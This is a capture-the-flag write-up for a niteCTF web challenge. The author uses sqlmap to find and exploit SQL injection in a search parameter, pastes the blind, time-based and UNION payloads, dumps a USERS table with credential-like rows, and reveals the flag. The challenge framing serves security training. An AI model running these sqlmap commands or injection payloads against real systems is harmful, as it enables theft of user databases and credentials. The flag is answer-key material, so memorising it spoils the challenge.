* Threw the query page over to sqlmap sqlmap -u "http://litelibrary.web.nitectf.live/api/search?q=as" -p q --level 5 --risk 3 --dump-all
```[20:38:56] [INFO] resuming back-end DBMS 'sqlite'[20:38:56] [INFO] testing connection to the target URLsqlmap resumed the following injection point(s) from stored session:---Parameter: q (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: q=as%' AND 4532=4532 AND 'jVvl%'='jVvl
    Type: time-based blind    Title: SQLite > 2.0 AND time-based blind (heavy query)    Payload: q=as%' AND 1400=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND 'lYrW%'='lYrW
    Type: UNION query    Title: Generic UNION query (NULL) - 5 columns    Payload: q=-7676%' UNION ALL SELECT NULL,CHAR(113,106,113,107,113)||CHAR(76,71,115,81,87,114,65,103,101,112,65,118,112,73,118,104,72,90,70,82,97,103,103,90,112,114,84,105,111,75,120,81,112,72,110,108,72,70,112,73)||CHAR(113,98,122,120,113),NULL,NULL,NULL-- nSMR---[20:38:56] [INFO] the back-end DBMS is SQLiteback-end DBMS: SQLite[20:38:56] [INFO] sqlmap will dump entries of all tables from all databases now[20:38:56] [INFO] fetching tables for database: 'SQLite_masterdb'[20:38:56] [INFO] fetching columns for table 'USERS'[20:38:56] [INFO] fetching entries for table 'USERS'Database: <current>Table: USERS[381 entries]
```* Realized that there were a ton of users so I launched sqlmap with the --sql-shell command* Within sql shell ran select * from USERS; and retrived the full user list* Toward the middle we see the following
```[*] 2019-04-29T09:44:38, male, ccb71785-af8b-499b-98b1-2cfa59235871, laurie4144590, 51, han53n405ar1o[*] 2019-06-06T11:35:06, male, 5b3bf992-7776-4b6c-93f0-574296d32367, lena2562690, f098b0jl1e5c, dav1d5ta4k[*] 2008-11-08T01:37:59, male, 44a3b0c5-0bed-401a-9d96-79baa1d105a3, blackwell3671128, aj54f84, 5a463ntdav1d[*] 1907-04-01T00:00:00, male, 28582015-49f6-43f8-9aad-a9e5d4a5687f, nite{t00_l1t3_huh_50m30n3_g37_an71_g2av17y_0v3r_h3r3}, yeehaaw1amMadx, madmaxfuryyyyy2344[*] 2007-04-15T12:44:08, male, a21bdfc7-d335-4f69-a2ac-4a7a1ebe6710, lynne9001248, 14f1i7376p64, 5utt0nd11la4d[*] 2009-04-24T02:46:25, male, 2202ec7b-dd66-409c-a55a-85164b780adc, sadie2516667, 254mm1d3afei, vazqu3zn1ch015[*] 2021-07-29T11:30:34, female, d6f6c490-21ba-459c-967f-76275cf677de, alicia3374493, j8cegb3i5n5, 41tak14k1and```
* Final flag is nite{t00_l1t3_huh_50m30n3_g37_an71_g2av17y_0v3r_h3r3}